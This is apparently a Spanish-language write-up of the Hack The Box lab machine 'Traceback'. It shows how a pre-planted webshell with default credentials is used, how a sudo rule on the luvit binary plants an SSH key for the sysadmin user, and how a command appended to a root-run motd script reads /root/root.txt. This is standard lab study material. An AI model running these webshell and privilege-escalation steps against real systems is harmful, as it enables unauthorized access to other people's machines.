Resumen:

Traceback parte de estar comprometida, tiene ya una shell reversa instalada, por lo que el punto de apoyo consiste básicamente en identificar donde está la WebShell. El resto de la máquina depende mucho de más enumeración de privilegios, permisos y procesos.

Punto de Apoyo:

Todo parte con una enumeración de puertos básica, en el puerto 80 existe una aplicación web que al momento de revisar el código fuentes se puede ver este comentario.

<!–Some of the best web shells that you might need ;)–>

Si se busca eso en internet, se llega a este sitio.

https://github.com/TheBinitGhimire/Web-Shells

Con esa información se llegó a esta url:

http://traceback.htb/smevk.php#

El login de esa webshell por defecto es admin/admin

Con este acceso se puede subir una webshell que permita ejecutar comandos de manera más fácil.

Obtener Usuario

Con el usuario webadmin podemos ver lo que este usuario puede ejectura como root.

p0wny@shell:/home/webadmin# sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/webadmin/luvit

Con el ejecutable luvit se puede agregar la llave pública de ssh en el archivo authorized_keys usando el archivo «.lua».

Se genera una llave pública y privada en ssh y se copia la llave pública en el archivo LUA. Y se ejecuta luvit de esta manera.

sudo -u sysadmin /home/webadmin/luvit jorge.lua

Una vez realizado esto se puede establecer una conexión SSH con la llave privada generada previamente, con el usuario sysadmin.

ssh -i id_rsa [email protected]                                                       

#################################

——– OWNED BY XH4H  ———

– I guess stuff could have been configured better ^^ –

#################################

Welcome to Xh4H land 

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Mar 15 10:33:20 2020 from 10.10.14.11

$ cat user.txt  

c24349***********************

Obtener Root

Para ver los procesos usar pspy64

Se puede ver un proceso:

2020/03/15 14:50:31 CMD: UID=0    PID=5367   | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/ 

Si se ve el directorio /etc/update-motd.d/

sysadmin@traceback:/etc/update-motd.d$ ls -la

total 32

drwxr-xr-x  2 root sysadmin 4096 Aug 27  2019 .

drwxr-xr-x 80 root root     4096 Aug 25  2019 ..

-rwxrwxr-x  1 root sysadmin  981 Mar 15 15:23 00-header

-rwxrwxr-x  1 root sysadmin  982 Mar 15 15:23 10-help-text

-rwxrwxr-x  1 root sysadmin 4264 Mar 15 15:23 50-motd-news

-rwxrwxr-x  1 root sysadmin  604 Mar 15 15:23 80-esm

-rwxrwxr-x  1 root sysadmin  299 Mar 15 15:23 91-release-upgrade

El usuario sysadmin puede escribir en 00-header

Si se añade este comando en el archivo se obtendrá la flag la primera vez que se inicie sesión con ssh:

echo «echo $(cat /root/root.txt)» >> 00-header

run-parts /etc/update-motd.d/

Y luego iniciar sesión por ssh con el usuario sysadmin

ssh -i id_rsa [email protected]                                                

#################################

——– OWNED BY XH4H  ———

– I guess stuff could have been configured better ^^ –

#################################

Welcome to Xh4H land 

ccda9e**********************

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Mar 15 15:11:29 2020 from 10.10.14.37